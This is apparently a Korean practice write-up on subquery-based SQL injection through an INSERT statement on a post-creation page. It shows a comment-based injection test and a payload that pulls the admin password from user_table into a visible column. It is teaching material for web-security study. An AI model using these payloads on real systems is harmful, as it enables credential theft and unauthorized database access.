Sub Query란?

서브 쿼리를 사용하면 쿼리 내에서 다른 쿼리를 사용할 수 있다. 서브 쿼리는 () 안에 SQL 구문을 삽입하며 SELECT 구문만 사용할 수 있다.

Sub Query SQLi 실습

게시물을 생성하는 페이지이다. INSERT 구문을 사용하며 사용자에게 Title과 Content를 입력받는다.

-- 예상 서버 쿼리
INSERT INTO board (name, text) VALUES ('입력값', '입력값');

취약점 확인

' -- - 삽입 결과 주석이 동작해 인젝션이 가능한 것을 확인하였다.

서브쿼리를 삽입해 서브쿼리 결과가 반영되는지 살펴보자.

-- title 파라미터에 삽입 시도
inmo', (select 1)) -- -
-- DB에 반영되는 쿼리
INSERT INTO board (name, text) VALUES ('inmo', (select 1)) -- -', '1234')

select 1 쿼리 결과(1)가 text 컬럼에 삽입되어 정상적으로 출력된다.

데이터 탈취

admin 패스워드는 board 테이블이 아니라 user_table에 있다. 서브쿼리로 user_table을 조회한다.

-- 공격 쿼리
inmo', (select upw from user_table where uid='admin')) -- -
 
-- DB에 반영되는 쿼리
INSERT INTO board (name, text) VALUES ('inmo', (select upw from user_table where uid='admin')) -- -', '1234')

admin 패스워드를 조회하는 서브쿼리 실행 결과, 패스워드가 text 컬럼에 출력된다.

핵심 포인트

  • INSERT / UPDATE 구문이 사용되는 곳에서도 서브쿼리로 데이터 탈취 가능
  • 서브쿼리는 SELECT만 사용 가능하므로 데이터 변조에는 직접 사용 불가
  • name, text 컬럼 중 어느 위치에 인젝션하느냐에 따라 출력 위치가 달라짐

subquery-sqli sqli web-hacking